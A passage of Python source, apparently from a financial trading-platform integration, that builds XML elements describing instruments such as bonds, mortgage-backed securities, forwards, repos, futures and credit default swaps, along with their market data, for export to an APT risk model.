apt_ins_group_type == AptInstrumentGroupType.FLOORS:\n return AptFloorsElementWriter(writer, ins_rows)\n elif apt_ins_group_type == AptInstrumentGroupType.REPOS:\n return AptReposElementWriter(writer, ins_rows)\n elif apt_ins_group_type == AptInstrumentGroupType.CONTRACTS_FOR_DIFFERENCE:\n return AptContractsForDifferenceElementWriter(writer, ins_rows)\n elif apt_ins_group_type == AptInstrumentGroupType.FUTURES:\n return AptFuturesElementWriter(writer, ins_rows)\n elif apt_ins_group_type == AptInstrumentGroupType.FORWARDS:\n return AptForwardsElementWriter(writer, ins_rows)\n elif apt_ins_group_type == AptInstrumentGroupType.CREDIT_DEFAULT_SWAPS:\n return AptCreditDefaultSwapsElementWriter(writer, ins_rows)\n elif apt_ins_group_type == AptInstrumentGroupType.INTEREST_RATE_SWAPS:\n return AptInterestRateSwapsElementWriter(writer, ins_rows)\n elif apt_ins_group_type == AptInstrumentGroupType.CURRENCY_SWAPS:\n return AptCurrencySwapsElementWriter(writer, ins_rows)\n elif apt_ins_group_type == AptInstrumentGroupType.OPTIONS:\n return AptOptionsElementWriter(writer, ins_rows)\n elif apt_ins_group_type == AptInstrumentGroupType.DERIVATIVES:\n return AptDerivativesElementWriter(writer, ins_rows)\n else:\n return TimeSeriesAssetsWriter(writer, ins_rows)\n \n def write_elem(self): \n raise NotImplementedError()\n\nclass UserDefinedDataElementWriter(object):\n\n def __init__(self, writer, ins_row):\n self.writer = writer\n self.row = ins_row\n\n def write(self, id=None):\n row_ins_type = self.writer._get_raw_data(self.row, AptColumns.INS_TYPE)\n if row_ins_type in ('MBS/ABS'):\n row_coupon = self.writer._get_raw_data(self.row, AptColumns.COUPON)\n row_issueDate = self.writer._get_raw_data(self.row, AptColumns.ISSUE_DATE)[:4]\n row_spread = self.writer._get_raw_data(self.row, AptColumns.CREDIT_SPREAD)\n row_mbs_type = self.writer._get_raw_data(self.row, AptColumns.MBS_TYPE)\n\n prePaymentTable_elem = None\n for t in self.writer.prePaymentTables_elem.findall('prePaymentTable'):\n if t.get(\"mbsType\") == row_mbs_type:\n prePaymentTable_elem = t\n if not prePaymentTable_elem:\n prePaymentTable_elem = ElementTree.Element(self.writer.PREPAYMENT_TABLE_TAG, mbsType=row_mbs_type)\n self.writer.prePaymentTables_elem.append(prePaymentTable_elem)\n\n for e in prePaymentTable_elem.findall('entry'):\n if e.get('coupon') == row_coupon and e.get('issue') == row_issue and e.get('spread') == row_spread:\n if e.get('value') != row_value:\n print (\"WARNING: Different prepayment assumptions mapped to MBSes with same (APT) MBS type, coupon, issue date and spread.\")\n return\n\n prepayment_name = self.writer._get_raw_data(self.row, AptColumns.PREPAYMENT)\n prepayment = acm.FPrepayment[prepayment_name]\n if prepayment_name and prepayment:\n ins_name = self.writer._get_raw_data(self.row, AptColumns.ASSET_ID)\n row_value_string = prepayment.PrepaymentValue(acm.FInstrument[ins_name])\n if row_value_string:\n row_value = \"{0:.4f}\".format(float(row_value_string))\n prePaymentTableEntry_elem = ElementTree.Element(self.writer.ENTRY_TAG, coupon=row_coupon, issue=row_issueDate, spread=row_spread, value=row_value)\n prePaymentTable_elem.append(prePaymentTableEntry_elem)\n\n if len(prePaymentTable_elem.findall('entry')) == 0:\n self.writer.prePaymentTables_elem.remove(prePaymentTable_elem) \n\n\nclass MarketDataElementWriter(object):\n\n CREDIT_RATING_TAG = 'creditRating'\n DELTA_TAG = 'delta'\n PRICE_TAG = 'price'\n RISK_FREE_RATE_TAG = 'riskFreeRate'\n DIV_YIELD_TAG = 'divYield'\n \n\n def __init__(self, writer, ins_row):\n self.writer = writer\n self.row = ins_row\n \n def write(self, id=None):\n ins_type = self.writer._get_raw_data(self.row, AptColumns.INS_TYPE)\n if ins_type in ('Bond', 'CreditDefaultSwap', 'FRN', 'Bill', 'Cap', 'Floor', 'MBS/ABS', 'FreeDefCF'):\n self._creditRating_marketData_element_writer(id)\n elif ins_type in ('Repo/Reverse'):\n self._repo_price_marketData_element_writer()\n self._riskFreeRate_marketData_element_writer()\n elif ins_type in ('Forward'):\n und_type = self.writer._get_raw_data(self.row, AptColumns.UND_TYPE)\n self._riskFreeRate_marketData_element_writer()\n if und_type in ('Curr'):\n self._und_price_marketData_element_writer()\n self._und_riskFreeRate_marketData_element_writer()\n elif und_type not in ('RateIndex'):\n self._und_price_marketData_element_writer()\n self._divYield_marketData_element_writer()\n elif ins_type in ('CFD'):\n self._und_price_marketData_element_writer()\n elif ins_type in ('Convertible'):\n self._und_price_marketData_element_writer()\n self._creditRating_marketData_element_writer()\n elif ins_type in ('CurrSwap'):\n self._currSwap_price_marketData_element_writer()\n elif ins_type in ('Option'):\n und_type = self.writer._get_raw_data(self.row, AptColumns.UND_TYPE)\n if und_type in ('Stock', 'EquityIndex', 'Depositary Receipt', 'Future/Forward'):\n self._riskFreeRate_marketData_element_writer()\n self._divYield_marketData_element_writer()\n self._price_marketData_element_writer()\n if und_type in ('Curr'):\n self._riskFreeRate_marketData_element_writer()\n self._und_riskFreeRate_marketData_element_writer()\n self._price_fx_option_marketData_element_writer()\n self._und_price_marketData_element_writer()\n elif ins_type in ('Derivative'):\n und_type = self.writer._get_raw_data(self.row, AptColumns.UND_TYPE)\n self._delta_marketData_element_writer()\n self._price_marketData_element_writer()\n self._und_price_marketData_element_writer()\n\n def _creditRating_marketData_element_writer(self, id=None):\n row_id = id or self.writer._get_raw_data(self.row, AptColumns.ASSET_ID)\n row_idType = self.writer._get_raw_data(self.row, AptColumns.ASSET_ID_TYPE)\n row_rating = self.writer._get_raw_data(self.row, AptColumns.RATING)\n creditRating_elem = ElementTree.Element(self.CREDIT_RATING_TAG, id=row_id, idType=row_idType, rating=row_rating)\n self.writer.creditRatings_elem.append(creditRating_elem)\n \n def _currSwap_price_marketData_element_writer(self):\n row_id = self.writer._get_raw_data(self.row, AptColumns.SHORT_LEG_CURRENCY)\n row_idType = 'ISIN'\n row_currency = self.writer._get_raw_data(self.row, AptColumns.LONG_LEG_CURRENCY)\n row_price = self.writer._get_raw_data(self.row, AptColumns.CURR_SWAP_FX_RATE)\n price_elem = ElementTree.Element(self.PRICE_TAG, id=row_id, idType=row_idType, currency=row_currency, price=row_price)\n self.writer.prices_elem.append(price_elem)\n \n def _price_marketData_element_writer(self):\n row_id = self.writer._get_raw_data(self.row, AptColumns.ASSET_ID)\n row_idType = self.writer._get_raw_data(self.row, AptColumns.ASSET_ID_TYPE)\n row_currency = self.writer._get_raw_data(self.row, AptColumns.CURRENCY)\n row_price = self.writer._get_raw_data(self.row, AptColumns.PRICE)\n price_elem = ElementTree.Element(self.PRICE_TAG, id=row_id, idType=row_idType, currency=row_currency, price=row_price)\n self.writer.prices_elem.append(price_elem)\n \n def _repo_price_marketData_element_writer(self):\n row_id = self.writer._get_raw_data(self.row, AptColumns.ASSET_ID)\n row_idType = self.writer._get_raw_data(self.row, AptColumns.ASSET_ID_TYPE)\n row_currency = self.writer._get_raw_data(self.row, AptColumns.CURRENCY)\n row_price = self.writer._get_raw_data(self.row, AptColumns.START_CASH)\n price_elem = ElementTree.Element(self.PRICE_TAG, id=row_id, idType=row_idType, currency=row_currency, price=row_price)\n self.writer.prices_elem.append(price_elem)\n \n def _price_fx_option_marketData_element_writer(self):\n row_id = self.writer._get_raw_data(self.row, AptColumns.ASSET_ID)\n row_idType = self.writer._get_raw_data(self.row, AptColumns.ASSET_ID_TYPE)\n row_currency = self.writer._get_raw_data(self.row, AptColumns.CURRENCY)\n units = float(self.writer._get_raw_data(self.row, AptColumns.ASSET_UNITS))\n price = float(self.writer._get_raw_data(self.row, AptColumns.PRICE))\n #if self.writer._get_raw_data(self.row, AptColumns.IS_DIGITAL) in ('True'):\n #row_price = str(price)\n #else: row_price = str(price*units)\n row_price = str(price*units)\n price_elem = ElementTree.Element(self.PRICE_TAG, id=row_id, idType=row_idType, currency=row_currency, price=row_price)\n self.writer.prices_elem.append(price_elem)\n\n\n def _und_price_marketData_element_writer(self):\n row_und_id = self.writer._get_raw_data(self.row, AptColumns.UND_ID)\n row_currency = self.writer._get_raw_data(self.row, AptColumns.CURRENCY)\n row_und_idType = self.writer._get_raw_data(self.row, AptColumns.UND_ID_TYPE)\n row_und_price = self.writer._get_raw_data(self.row, AptColumns.UND_PRICE)\n price_elem = ElementTree.Element(self.PRICE_TAG, id=row_und_id, idType=row_und_idType, currency=row_currency, price=row_und_price)\n self.writer.prices_elem.append(price_elem)\n\n\n def _riskFreeRate_marketData_element_writer(self):\n row_id = self.writer._get_raw_data(self.row, AptColumns.CURRENCY)\n row_idType = self.writer._get_raw_data(self.row, AptColumns.CURRENCY_ID_TYPE)\n row_riskFreeRate = self.writer._get_raw_data(self.row, AptColumns.RISK_FREE_RATE)\n riskFreeRate_elem = ElementTree.Element(self.RISK_FREE_RATE_TAG, id=row_id, idType=row_idType)\n riskFreeRate_elem.attrib['yield'] = row_riskFreeRate\n self.writer.yields_elem.append(riskFreeRate_elem)\n\n\n def _und_riskFreeRate_marketData_element_writer(self):\n row_und_id = self.writer._get_raw_data(self.row, AptColumns.UND_CURRENCY)\n row_und_idType = self.writer._get_raw_data(self.row, AptColumns.CURRENCY_ID_TYPE)\n row_und_riskFreeRate = self.writer._get_raw_data(self.row, AptColumns.UND_RISK_FREE_RATE)\n riskFreeRate_elem = ElementTree.Element(self.RISK_FREE_RATE_TAG, id=row_und_id, idType=row_und_idType)\n riskFreeRate_elem.attrib['yield'] = row_und_riskFreeRate\n self.writer.yields_elem.append(riskFreeRate_elem)\n\n\n def _divYield_marketData_element_writer(self):\n row_und_id = self.writer._get_raw_data(self.row, AptColumns.UND_ID)\n row_und_idType = self.writer._get_raw_data(self.row, AptColumns.UND_ID_TYPE)\n row_und_divYield = self.writer._get_raw_data(self.row, AptColumns.UND_DIV_YIELD)\n divYield_elem = ElementTree.Element(self.DIV_YIELD_TAG, id=row_und_id, idType=row_und_idType)\n divYield_elem.attrib['yield'] = row_und_divYield\n self.writer.yields_elem.append(divYield_elem)\n \n \n def _delta_marketData_element_writer(self):\n row_id = self.writer._get_raw_data(self.row, AptColumns.ASSET_ID)\n row_idType = self.writer._get_raw_data(self.row, AptColumns.ASSET_ID_TYPE)\n row_delta = self.writer._get_raw_data(self.row, AptColumns.DELTA)\n delta_elem = ElementTree.Element(self.DELTA_TAG, id=row_id, idType=row_idType, delta=row_delta)\n self.writer.deltas_elem.append(delta_elem)\n\n \n\nclass AptFixedIncomeProductsElementWriter(AssetClassElementWriter):\n FIXED_INCOME_PRODUCTS_TAG = 'fixedIncomeProducts'\n STRUCTURED_FIXED_INCOME_CONTRACT_TAG = 'structuredFixedIncomeContract'\n FIXED_COUPON_SCHEDULE_TAG = 'fixedCouponSchedule'\n CALL_SCHEDULE_TAG = 'callSchedule'\n FIXED_COUPON_SCHEDULE_ENTRY_TAG = 'fixedCouponScheduleEntry'\n OPTION_SCHEDULE_ENTRY_TAG = 'optionScheduleEntry'\n FLOATING_SPREAD_SCHEDULE_TAG = 'floatingSpreadSchedule'\n FLOATING_SPREAD_SCHEDULE_ENTRY_TAG = 'floatingSpreadScheduleEntry'\n CONVERTIBLE_TAG = 'convertible'\n MBS_TAG = 'mortgageBackedSecurity'\n STOCK_TRIGGER_SCHEDULE_TAG = 'stockTriggerSchedule'\n STOCK_TRIGGER_SCHEDULE_ENTRY_TAG = 'stockTriggerScheduleEntry'\n\n\n def __init__(self, writer, ins_rows):\n self.writer = writer\n self.ins_rows = ins_rows\n self.fixed_income_products_elem = ElementTree.Element(self.FIXED_INCOME_PRODUCTS_TAG)\n self.writer.assets_elem.append(self.fixed_income_products_elem)\n \n def get_writer_func(self, row):\n if self.writer._get_raw_data(row, AptColumns.INS_TYPE) in ('Bond', 'Bill'):\n return self._write_fixed_coupon_bond_element(row)\n elif self.writer._get_raw_data(row, AptColumns.INS_TYPE) == 'Convertible':\n return self._write_convertible_bond_element(row)\n elif self.writer._get_raw_data(row, AptColumns.INS_TYPE) == 'FRN':\n return self._write_floating_rate_bond_element(row)\n elif self.writer._get_raw_data(row, AptColumns.INS_TYPE) == 'MBS/ABS':\n return self._write_mbs_element(row)\n elif self.writer._get_raw_data(row, AptColumns.INS_TYPE) == 'FreeDefCF':\n return self._write_fixed_to_float_element(row)\n\n def write_elem(self):\n for row in self.ins_rows:\n elem_writer_func = self.get_writer_func\n elem_writer_func(row)\n \n def _write_fixed_income_products_base_element(self, row, id=None):\n row_id = id or self.writer._get_raw_data(row, AptColumns.ASSET_ID)\n row_idType = self.writer._get_raw_data(row, AptColumns.ASSET_ID_TYPE)\n row_currency = self.writer._get_raw_data(row, AptColumns.CURRENCY)\n row_borrowerClass = self.writer._get_raw_data(row, AptColumns.BORROWER_CLASS)\n row_couponFrequency = self.writer._get_raw_data(row, AptColumns.COUPON_FREQUENCY)\n row_redemptionDate = self.writer._get_raw_data(row, AptColumns.REDEMPTION_DATE)\n self.structured_fixed_income_contract_elem = ElementTree.Element(self.STRUCTURED_FIXED_INCOME_CONTRACT_TAG, id=row_id, idType=row_idType, currency=row_currency, borrowerClass=row_borrowerClass, couponFrequency=row_couponFrequency, redemptionDate=row_redemptionDate)\n self.fixed_income_products_elem.append(self.structured_fixed_income_contract_elem)\n \n def _write_callable_schedule_element(self, row):\n callSchedule_elem = ElementTree.Element(self.CALL_SCHEDULE_TAG)\n self.structured_fixed_income_contract_elem.append(callSchedule_elem)\n call_shedule = []\n for i in self.writer._get_raw_data(row, AptColumns.CALL_SCHEDULE).split(';'):\n call_shedule.append((i.split(',')[0], i.split(',')[1]))\n for row_date, row_strike in call_shedule:\n optionScheduleEntry_elem = ElementTree.Element(self.OPTION_SCHEDULE_ENTRY_TAG, date=row_date, strike=row_strike)\n callSchedule_elem.append(optionScheduleEntry_elem)\n \n def _write_fixed_coupon_shedule_entry_element(self, row):\n row_date = self.writer._get_raw_data(row, AptColumns.ISSUE_DATE)\n row_coupon = self.writer._get_raw_data(row, AptColumns.COUPON)\n fixed_coupon_schedule_entry_elem = ElementTree.Element(self.FIXED_COUPON_SCHEDULE_ENTRY_TAG, date=row_date, coupon=row_coupon)\n self.fixed_coupon_schedule_elem.append(fixed_coupon_schedule_entry_elem)\n \n def _write_fixed_coupon_bond_element(self, row, id=None):\n self._write_fixed_income_products_base_element(row, id)\n self.fixed_coupon_schedule_elem = ElementTree.Element(self.FIXED_COUPON_SCHEDULE_TAG)\n self.structured_fixed_income_contract_elem.append(self.fixed_coupon_schedule_elem)\n ins_type = self.writer._get_raw_data(row, AptColumns.INS_TYPE)\n if ins_type not in ('Bill'):\n self._write_fixed_coupon_shedule_entry_element(row)\n if self.writer._get_raw_data(row, AptColumns.IS_CALLABLE) == 'True'and self.writer._get_raw_data(row, AptColumns.CALL_SCHEDULE) != 'None':\n self._write_callable_schedule_element(row)\n self.writer._write_marketData_element(row, id)\n \n def _write_convertible_bond_element(self, row):\n self._write_fixed_income_products_base_element(row)\n row_und_id = self.writer._get_raw_data(row, AptColumns.UND_ID)\n row_und_idType = self.writer._get_raw_data(row, AptColumns.UND_ID_TYPE)\n row_start = self.writer._get_raw_data(row, AptColumns.CONVERSION_START)\n row_end = self.writer._get_raw_data(row, AptColumns.CONVERSION_END)\n row_conversionPrice = self.writer._get_raw_data(row, AptColumns.CONVERSION_PRICE)\n row_forceConversion = self.writer._get_raw_data(row, AptColumns.FORCE_CONVERSION)\n convertible_elem = ElementTree.Element(self.CONVERTIBLE_TAG, underlying=row_und_id, undIdType=row_und_idType, conversionPrice=row_conversionPrice, start=row_start, end=row_end, forceConversion=row_forceConversion)\n self.structured_fixed_income_contract_elem.append(convertible_elem)\n \n if self.writer._get_raw_data(row, AptColumns.IS_CALLABLE) == 'True' and self.writer._get_raw_data(row, AptColumns.CALL_SCHEDULE) != 'None':\n self._write_callable_schedule_element(row)\n \n if self.writer._get_raw_data(row, AptColumns.IS_STOCK_TRIGGER) == 'True':\n stockTriggerSchedule_elem = ElementTree.Element(self.STOCK_TRIGGER_SCHEDULE_TAG)\n convertible_elem.append(stockTriggerSchedule_elem)\n stock_trigger_shedule = []\n stock_trigger_shedule_array = self.writer._get_raw_data(row, AptColumns.STOCK_TRIGGER_SCHEDULE).split(';')\n if stock_trigger_shedule_array:\n for i in stock_trigger_shedule_array:\n stock_trigger_shedule.append((i.split(',')[0], i.split(',')[1]))\n for row_date, row_triggerLevel in stock_trigger_shedule:\n stockTriggerScheduleEntry_elem = ElementTree.Element(self.STOCK_TRIGGER_SCHEDULE_ENTRY_TAG, date=row_date, triggerLevel=row_triggerLevel)\n stockTriggerSchedule_elem.append(stockTriggerScheduleEntry_elem)\n self.writer._write_marketData_element(row)\n \n def _write_floating_rate_bond_element(self, row, id=None, cap=False, floor=False): \n self._write_fixed_income_products_base_element(row, id)\n floating_spread__schedule_elem = ElementTree.Element(self.FLOATING_SPREAD_SCHEDULE_TAG)\n self.structured_fixed_income_contract_elem.append(floating_spread__schedule_elem)\n row_date = self.writer._get_raw_data(row, AptColumns.ISSUE_DATE)\n row_spread = self.writer._get_raw_data(row, AptColumns.SPREAD)\n floating_spread_schedule_entry_elem = ElementTree.Element(self.FLOATING_SPREAD_SCHEDULE_ENTRY_TAG, date=row_date, spread=row_spread)\n if cap: \n row_cap = self.writer._get_raw_data(row, AptColumns.CAP)\n floating_spread_schedule_entry_elem.attrib['cap'] = row_cap\n elif floor: \n row_floor = self.writer._get_raw_data(row, AptColumns.FLOOR)\n floating_spread_schedule_entry_elem.attrib['floor'] = row_floor\n floating_spread__schedule_elem.append(floating_spread_schedule_entry_elem)\n self.writer._write_marketData_element(row, id)\n\n def _write_mbs_element(self, row, id=None):\n row_id = id or self.writer._get_raw_data(row, AptColumns.ASSET_ID)\n row_idType = self.writer._get_raw_data(row, AptColumns.ASSET_ID_TYPE)\n row_currency = self.writer._get_raw_data(row, AptColumns.CURRENCY)\n row_borrowerClass = self.writer._get_raw_data(row, AptColumns.BORROWER_CLASS)\n\n row_coupon = self.writer._get_raw_data(row, AptColumns.COUPON)\n row_couponFrequency = self.writer._get_raw_data(row, AptColumns.COUPON_FREQUENCY)\n row_redemptionDate = self.writer._get_raw_data(row, AptColumns.REDEMPTION_DATE)\n row_issueDate = self.writer._get_raw_data(row, AptColumns.ISSUE_DATE)\n\n row_serviceFee = self.writer._get_raw_data(row, AptColumns.SERVICE_FEE)\n row_mbsType = self.writer._get_raw_data(row, AptColumns.MBS_TYPE)\n\n self.mbs_elem = ElementTree.Element(self.MBS_TAG, id=row_id, idType=row_idType, currency=row_currency, borrowerClass=row_borrowerClass, coupon=row_coupon, couponFrequency=row_couponFrequency, issueDate=row_issueDate, redemptionDate=row_redemptionDate, serviceFee=row_serviceFee, mbsType=row_mbsType)\n self.fixed_income_products_elem.append(self.mbs_elem) \n self.writer._write_marketData_element(row, id)\n self.writer._write_userDefinedData_element(row, id)\n \n def _write_fixed_to_float_element(self, row, id=None, cap=False, floor=False):\n self._write_fixed_income_products_base_element(row, id)\n \n fixed_coupon_schedule_elem = ElementTree.Element(self.FIXED_COUPON_SCHEDULE_TAG)\n self.structured_fixed_income_contract_elem.append(fixed_coupon_schedule_elem)\n\n row_coupon = self.writer._get_raw_data(row, AptColumns.COUPON)\n leg_date = self.writer._get_raw_data(row, AptColumns.FIRST_FIXED_LEG_DATE)\n fixed_coupon_schedule_entry_elem = ElementTree.Element(self.FIXED_COUPON_SCHEDULE_ENTRY_TAG, date=leg_date, coupon=row_coupon)\n fixed_coupon_schedule_elem.append(fixed_coupon_schedule_entry_elem)\n\n floating_spread_schedule_elem = ElementTree.Element(self.FLOATING_SPREAD_SCHEDULE_TAG)\n self.structured_fixed_income_contract_elem.append(floating_spread_schedule_elem)\n\n row_spread = self.writer._get_raw_data(row, AptColumns.SPREAD)\n leg_date = self.writer._get_raw_data(row, AptColumns.FIRST_FLOAT_LEG_DATE)\n floating_spread_schedule_entry_elem = ElementTree.Element(self.FLOATING_SPREAD_SCHEDULE_ENTRY_TAG, date=leg_date, spread=row_spread)\n row_float_type = self.writer._get_raw_data(row, AptColumns.FIRST_FLOAT_LEG_TYPE)\n if row_float_type in ('Capped Float', 'Cap', 'Collared Float'):\n row_cap = self.writer._get_raw_data(row, AptColumns.CAP)\n floating_spread_schedule_entry_elem.attrib['cap'] = row_cap\n elif row_float_type in ('Floor', 'Floored Float', 'Collared Float'):\n row_floor = self.writer._get_raw_data(row, AptColumns.FLOOR)\n floating_spread_schedule_entry_elem.attrib['floor'] = row_floor\n elif not row_float_type in ('Float'):\n logger.info('ERROR: Missing supported float leg in Free Defined Cash Flow %s!' % self.writer._get_raw_data(row, AptColumns.ASSET_ID))\n return \n floating_spread_schedule_elem.append(floating_spread_schedule_entry_elem)\n\n if self.writer._get_raw_data(row, AptColumns.IS_CALLABLE) == 'True'and self.writer._get_raw_data(row, AptColumns.CALL_SCHEDULE) != 'None':\n self._write_callable_schedule_element(row)\n\n self.writer._write_marketData_element(row, id)\n\nclass AptContractsForDifferenceElementWriter(AssetClassElementWriter):\n \n CONTRACTS_FOR_DIFFERENCE_TAG = 'contractsForDifference'\n CONTRACT_FOR_DIFFERENCE_TAG = 'contractForDifference' \n \n \n def __init__(self, writer, ins_rows):\n self.writer = writer\n self.ins_rows = ins_rows\n self.contractsForDifference_elem = ElementTree.Element(self.CONTRACTS_FOR_DIFFERENCE_TAG)\n self.writer.assets_elem.append(self.contractsForDifference_elem)\n \n def write_elem(self):\n for row in self.ins_rows:\n row_id = self.writer._get_raw_data(row, AptColumns.ASSET_ID)\n row_idType = self.writer._get_raw_data(row, AptColumns.ASSET_ID_TYPE)\n row_und_id = self.writer._get_raw_data(row, AptColumns.UND_ID)\n row_und_idType = self.writer._get_raw_data(row, AptColumns.UND_ID_TYPE)\n row_currency = self.writer._get_raw_data(row, AptColumns.CURRENCY)\n row_initialPrice = self.writer._get_raw_data(row, AptColumns.INITIAL_PRICE)\n contractForDifference_elem = ElementTree.Element(self.CONTRACT_FOR_DIFFERENCE_TAG, id=row_id, idType=row_idType, underlying=row_und_id, undIdType=row_und_idType, currency=row_currency, initialPrice=row_initialPrice)\n self.contractsForDifference_elem.append(contractForDifference_elem)\n self.writer._write_marketData_element(row)\n\n\n\nclass AptForwardsElementWriter(AssetClassElementWriter):\n FORWARDS_TAG = 'forwards'\n FORWARD_TAG = 'forward'\n CURRENCY_FORWARD_TAG = 'currencyForward'\n CURRENCY_FORWARD_BUY_TAG = 'buy'\n CURRENCY_FORWARD_SELL_TAG = 'sell'\n\n def __init__(self, writer, ins_rows):\n self.writer = writer\n self.ins_rows = ins_rows\n self.forwards_elem = ElementTree.Element(self.FORWARDS_TAG)\n self.writer.assets_elem.append(self.forwards_elem)\n \n def _write_forward_elem(self, row):\n row_id = self.writer._get_raw_data(row, AptColumns.ASSET_ID)\n row_currency = self.writer._get_raw_data(row, AptColumns.CURRENCY)\n row_und_id = self.writer._get_raw_data(row, AptColumns.UND_ID)\n row_und_idType = self.writer._get_raw_data(row, AptColumns.UND_ID_TYPE)\n row_frwd_price = self.writer._get_raw_data(row, AptColumns.FORWARD_PRICE)\n row_expires = self.writer._get_raw_data(row, AptColumns.EXPIRES)\n forward_elem = ElementTree.Element(self.FORWARD_TAG, id=row_id, currency=row_currency, underlying=row_und_id, undIdType=row_und_idType, forwardPrice=row_frwd_price, expires=row_expires)\n self.forwards_elem.append(forward_elem)\n self.writer._write_marketData_element(row)\n \n def _write_currency_forward_buy_elem(self, row, currencyForward_elem):\n row_buy_amount = self.writer._get_raw_data(row, AptColumns.CURRENCY_FORWARD_BUY_AMOUNT)\n row_buy_currency = self.writer._get_raw_data(row, AptColumns.CURRENCY_FORWARD_BUY_CURRENCY)\n currencyForwardBuy_elem = ElementTree.Element(self.CURRENCY_FORWARD_BUY_TAG, currency = row_buy_currency, amount=row_buy_amount)\n currencyForward_elem.append(currencyForwardBuy_elem)\n\n def _write_currency_forward_sell_elem(self, row, currencyForward_elem):\n row_sell_amount = self.writer._get_raw_data(row, AptColumns.CURRENCY_FORWARD_SELL_AMOUNT)\n row_sell_currency = self.writer._get_raw_data(row, AptColumns.CURRENCY_FORWARD_SELL_CURRENCY)\n currencyForwardSell_elem = ElementTree.Element(self.CURRENCY_FORWARD_SELL_TAG, currency = row_sell_currency, amount=row_sell_amount)\n currencyForward_elem.append(currencyForwardSell_elem)\n \n def _write_currency_forward_elem(self, row):\n row_id = self.writer._get_raw_data(row, AptColumns.ASSET_ID)\n row_expires = self.writer._get_raw_data(row, AptColumns.EXPIRES)\n row_counter = self.writer._get_raw_data(row, AptColumns.CURRENCY_FORWARD_BUY_CURRENCY)\n currencyForward_elem = ElementTree.Element(self.CURRENCY_FORWARD_TAG, id=row_id, expires=row_expires, counter=row_counter)\n self._write_currency_forward_buy_elem(row, currencyForward_elem)\n self._write_currency_forward_sell_elem(row, currencyForward_elem)\n self.forwards_elem.append(currencyForward_elem)\n self.writer._write_marketData_element(row)\n \n def get_writer_func(self, row):\n if self.writer._get_raw_data(row, AptColumns.UND_TYPE) in ('Curr'):\n return self._write_currency_forward_elem(row)\n else:\n return self._write_forward_elem(row)\n\n def write_elem(self):\n for row in self.ins_rows:\n elem_writer_func = self.get_writer_func\n elem_writer_func(row)\n \n\nclass AptReposElementWriter(AssetClassElementWriter):\n FORWARDS_TAG = 'forwards'\n FORWARD_TAG = 'forward'\n\n def __init__(self, writer, ins_rows):\n self.writer = writer\n self.ins_rows = ins_rows\n self.forwards_elem = ElementTree.Element(self.FORWARDS_TAG)\n self.writer.assets_elem.append(self.forwards_elem)\n \n def _write_forward_elem(self, row):\n row_id = self.writer._get_raw_data(row, AptColumns.ASSET_ID)\n row_currency = self.writer._get_raw_data(row, AptColumns.CURRENCY)\n row_und_id = self.writer._get_raw_data(row, AptColumns.UND_ID)\n row_und_idType = self.writer._get_raw_data(row, AptColumns.UND_ID_TYPE)\n row_frwd_price = self.writer._get_raw_data(row, AptColumns.END_CASH)\n row_expires = self.writer._get_raw_data(row, AptColumns.EXPIRES)\n forward_elem = ElementTree.Element(self.FORWARD_TAG, id=row_id, currency=row_currency, underlying=row_und_id, undIdType=row_und_idType, forwardPrice=row_frwd_price, expires=row_expires)\n self.forwards_elem.append(forward_elem)\n self.writer._write_marketData_element(row)\n \n def get_writer_func(self, row):\n return self._write_forward_elem(row)\n\n def write_elem(self):\n for row in self.ins_rows:\n elem_writer_func = self.get_writer_func\n elem_writer_func(row)\n \n\nclass AptFuturesElementWriter(AssetClassElementWriter):\n FUTURES_TAG = 'futures'\n FUTURE_TAG = 'future'\n INTEREST_RATE_FUTURE_TAG = 'interestRateFuture'\n\n \n def __init__(self, writer, ins_rows):\n self.writer = writer\n self.ins_rows = ins_rows\n self.futures_elem = ElementTree.Element(self.FUTURES_TAG)\n self.writer.assets_elem.append(self.futures_elem)\n \n def _write_future_elem(self, row):\n row_id = self.writer._get_raw_data(row, AptColumns.ASSET_ID)\n row_idType = self.writer._get_raw_data(row, AptColumns.ASSET_ID_TYPE)\n row_expires = self.writer._get_raw_data(row, AptColumns.EXPIRES)\n row_und_id = self.writer._get_raw_data(row, AptColumns.UND_ID)\n row_und_idType = self.writer._get_raw_data(row, AptColumns.UND_ID_TYPE)\n row_currency = self.writer._get_raw_data(row, AptColumns.CURRENCY)\n future_elem = ElementTree.Element(self.FUTURE_TAG, id=row_id, idType=row_idType, expires=row_expires, underlying=row_und_id, undIdType=row_und_idType, currency=row_currency)\n self.futures_elem.append(future_elem)\n self.writer._write_marketData_element(row)\n \n def _write_interest_rate_future_elem(self, row):\n row_id = self.writer._get_raw_data(row, AptColumns.ASSET_ID)\n row_idType = self.writer._get_raw_data(row, AptColumns.ASSET_ID_TYPE)\n row_currency = self.writer._get_raw_data(row, AptColumns.CURRENCY)\n row_expires = self.writer._get_raw_data(row, AptColumns.EXPIRES)\n row_termLength = self.writer._get_raw_data(row, AptColumns.TERM_LENGTH)\n interest_rate_future_elem = ElementTree.Element(self.INTEREST_RATE_FUTURE_TAG, id=row_id, idType=row_idType, currency=row_currency, expires=row_expires, termLength=row_termLength)\n self.futures_elem.append(interest_rate_future_elem)\n self.writer._write_marketData_element(row)\n \n def get_writer_func(self, row):\n if self.writer._get_raw_data(row, AptColumns.UND_TYPE) in ('RateIndex', 'Bill', 'Deposit'):\n return self._write_interest_rate_future_elem(row)\n else:\n return self._write_future_elem(row)\n\n def write_elem(self):\n for row in self.ins_rows:\n elem_writer_func = self.get_writer_func\n elem_writer_func(row) \n\n\nclass AptCreditDefaultSwapsElementWriter(AssetClassElementWriter):\n \n CREDIT_DEFAULT_SWAPS_TAG = 'creditDefaultSwaps'\n CREDIT_DEFAULT_SWAP_TAG = 'creditDefaultSwap'\n\n \n def __init__(self, writer, ins_rows):\n self.writer = writer\n self.ins_rows = ins_rows\n self.creditDefaultSwaps_elem = ElementTree.Element(self.CREDIT_DEFAULT_SWAPS_TAG)\n self.writer.assets_elem.append(self.creditDefaultSwaps_elem)\n \n def write_elem(self):\n for row in self.ins_rows:\n row_id = self.writer._get_raw_data(row, AptColumns.ASSET_ID)\n row_idType = self.writer._get_raw_data(row, AptColumns.ASSET_ID_TYPE)\n row_currency = self.writer._get_raw_data(row, AptColumns.CURRENCY)\n row_borrowerClass = self.writer._get_raw_data(row, AptColumns.BORROWER_CLASS)\n #row_issuer = self.writer._get_raw_data(row, AptColumns.ISSUER)\n row_maturity = self.writer._get_raw_data(row, AptColumns.MATURITY)\n row_spread = self.writer._get_raw_data(row, AptColumns.SPREAD)\n row_paymentFrequency = self.writer._get_raw_data(row, AptColumns.PAYMENT_FREQUENCY)\n row_recoveryRate = self.writer._get_raw_data(row, AptColumns.RECOVERY_RATE)\n creditDefaultSwap_elem = 